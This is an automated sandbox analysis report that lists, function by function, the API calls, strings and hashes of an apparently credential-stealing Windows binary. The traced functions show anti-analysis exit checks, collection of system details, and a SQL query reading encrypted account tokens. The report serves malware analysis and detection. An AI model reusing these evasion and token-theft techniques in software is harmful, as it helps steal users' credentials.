Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 11e96b5f598d36b5145eb5ca339976e7cb65ddbe81ead056b2f3bcd54bd5f766
Instruction ID: 54c0e4e4c236f1d7f0585d8ba6b1fa909b8b3bfc40374ef6a46e6daa0de72561
Opcode Fuzzy Hash: 11e96b5f598d36b5145eb5ca339976e7cb65ddbe81ead056b2f3bcd54bd5f766
Instruction Fuzzy Hash: 1341B1B1D04248EBDB20DFA4CC45BEEBBB8AF08714F14009DF50967281D7786A84CBA9

Function 00417BA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,026793C0,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,026793C0,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
__aulldiv.LIBCMT ref: 00417C12
__aulldiv.LIBCMT ref: 00417C20
wsprintfA.USER32 ref: 00417C4C

Strings

@, xrefs: 00417BED
%d MB, xrefs: 00417C43

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction ID: f6ead53c39b4582a22ff827f4f83d0c2aee1884270de42e44796eba59a74ffdb
Opcode Fuzzy Hash: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction Fuzzy Hash: AD218CF1E44218ABDB10DFD8CC49FAEB7B9FB08B14F104509F605BB280D77869018BA9

Function 00416B70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00416B7E

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

OpenProcess.KERNEL32(001FFFFF,00000000,00416DAD,004205AD), ref: 00416BBC
memset.MSVCRT ref: 00416C0A
??_V@YAXPAX@Z.MSVCRT ref: 00416D5E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00416C2C

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: a2649502dd857f7a6f2c152c7032022c2e5ebb9aae8a7a6abff8c91a4bda3b7d
Instruction ID: 7f38ab3eb3b1a919a3e5ec0c0fab515e305e32cb9f2de8b47bf31e49bfe0b2e9
Opcode Fuzzy Hash: a2649502dd857f7a6f2c152c7032022c2e5ebb9aae8a7a6abff8c91a4bda3b7d
Instruction Fuzzy Hash: 285162B0D002189BDB24EB95DC45BEEB774AF44318F5041AEE50566281EB78AEC8CF5D

Function 0040B8E0 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040BADD

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BB0B
lstrlenA.KERNEL32(00000000), ref: 0040BBE3
lstrlenA.KERNEL32(00000000), ref: 0040BBF7

Strings

AccountTokens, xrefs: 0040B91A
AccountId, xrefs: 0040BB02
AccountTokens, xrefs: 0040B9A9
SELECT service, encrypted_token FROM token_service, xrefs: 0040BA4B

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: 118f269ba8200879144a3994630b591a0dd78f6f244ede3efe3bf7a484b11d9c
Instruction ID: 210edd3ff24f1e31e7376af0b8f6dc5aafa9379f597eea4b8f30950ff7929db6
Opcode Fuzzy Hash: 118f269ba8200879144a3994630b591a0dd78f6f244ede3efe3bf7a484b11d9c
Instruction Fuzzy Hash: 32A16271911108ABCF14FBA1DC56EEE7339AF54318F40416EF40772191EF786A98CBAA

Function 00416490 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,0265DD88), ref: 004192B1
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,0265DD28), ref: 004192CA
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,0265DDB8), ref: 004192E2
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,02677B40), ref: 004192FA
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,02677D98), ref: 00419313
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,02655A18), ref: 0041932B
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,02656460), ref: 00419343
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,026562C0), ref: 0041935C
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,02677C90), ref: 00419374
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,02677CD8), ref: 0041938C
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,02677DC8), ref: 004193A5
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,02677BD0), ref: 004193BD
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,02656520), ref: 004193D5
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,02677D20), ref: 004193EE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416210: GetUserDefaultLangID.KERNEL32(?,?,004164C6,00420ADA), ref: 00416214

GetUserDefaultLangID.KERNEL32 ref: 004164C6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02655988,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,02655988,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleLangName__aulldiv$ComputerCreateCurrentGlobalInfoMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 1125299040-0
Opcode ID: 50247ecd70c5a0f843e1285b19dc708eb9ca0ab759f18e513338518cb063b549
Instruction ID: 0c3fac6cf7b50bea5c1f94bc3db5f65e3227356296d56eb517008ea5f4118e6e
Opcode Fuzzy Hash: 50247ecd70c5a0f843e1285b19dc708eb9ca0ab759f18e513338518cb063b549
Instruction Fuzzy Hash: 03317130941108BACB14FBF2DC56BEE7739AF18318F50452EF513A6092DFBC6985C66A

Function 00417E7C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

RegQueryValueExA.KERNEL32(00000000,02679AE0,00000000,000F003F,?,00000400), ref: 00417F8C
lstrlenA.KERNEL32(?), ref: 00417FA1
RegQueryValueExA.KERNEL32(00000000,026799D8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B24), ref: 00418039
RegCloseKey.KERNEL32(00000000), ref: 004180A8
RegCloseKey.ADVAPI32(00000000), ref: 004180BA

Strings

%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: f8d8b98591cc8530eedf35a3a8f93d500dd07e40f4c1d474174918ececd91454
Instruction ID: 0d61fbe7999a289fff57b0559f919f0328d455d47faa6f76a7bc41a93025e826
Opcode Fuzzy Hash: f8d8b98591cc8530eedf35a3a8f93d500dd07e40f4c1d474174918ececd91454
Instruction Fuzzy Hash: 2B211971A0021CABDB24DF54DC85FD9B7B9FB48714F00C199A609A6280DF756AC6CF98

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 0040483A
??_U@YAPAXI@Z.MSVCRT ref: 00404851
??_U@YAPAXI@Z.MSVCRT ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: e5f29cefa4dd9598d5af44d4b7297b32cb790e355d029db3f3dd4240a19260d9
Instruction ID: 93cf72731df314aae8b190796811ac6c8ed605cccc68025416595ba5c6ffb16c
Opcode Fuzzy Hash: e5f29cefa4dd9598d5af44d4b7297b32cb790e355d029db3f3dd4240a19260d9
Instruction Fuzzy Hash: 0A2129B1D00208ABDF14DFA5E849ADD7B75FF44364F108229F926A72D0DB706A05CF95

Function 00417130 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
HeapAlloc.KERNEL32(00000000), ref: 0041714B
RegOpenKeyExA.KERNEL32(80000002,0265A100,00000000,00020119,00000000), ref: 0041717D
RegQueryValueExA.KERNEL32(00000000,026799A8,00000000,00000000,?,000000FF), ref: 0041719E
RegCloseKey.ADVAPI32(00000000), ref: 004171A8

Strings

Windows 11, xrefs: 0041715D

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction ID: 198b37f2a351322ee600fb862932720b373255b2f394089b4190a5419862cb8c
Opcode Fuzzy Hash: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction Fuzzy Hash: 4C018F74A40208BFEB10DFE4DD49FAE7779EB08710F104098FA0997290D6749A428B64

Function 004171C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004171D4
HeapAlloc.KERNEL32(00000000), ref: 004171DB
RegOpenKeyExA.KERNEL32(80000002,0265A100,00000000,00020119,00417159), ref: 004171FB
RegQueryValueExA.KERNEL32(00417159,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041721A
RegCloseKey.ADVAPI32(00417159), ref: 00417224

Strings

CurrentBuildNumber, xrefs: 00417211

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction ID: 00cad297c96af00baba5933f046dbcc6cd847f8af16dedc1aa1025fe7f1f3d79
Opcode Fuzzy Hash: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction Fuzzy Hash: EE014FB9A40708BFDB10DFE0DC4AFAEB779EB08704F104558FA05A7291D674AA418B55

Function 00413BC0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413BE5
RegOpenKeyExA.KERNEL32(80000001,02679C40,00000000,00020119,?), ref: 00413C04
RegQueryValueExA.ADVAPI32(?,0267ADE8,00000000,00000000,00000000,000000FF), ref: 00413C28
RegCloseKey.ADVAPI32(?), ref: 00413C32
lstrcat.KERNEL32(?,00000000), ref: 00413C57
lstrcat.KERNEL32(?,0267AE00), ref: 00413C6B

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
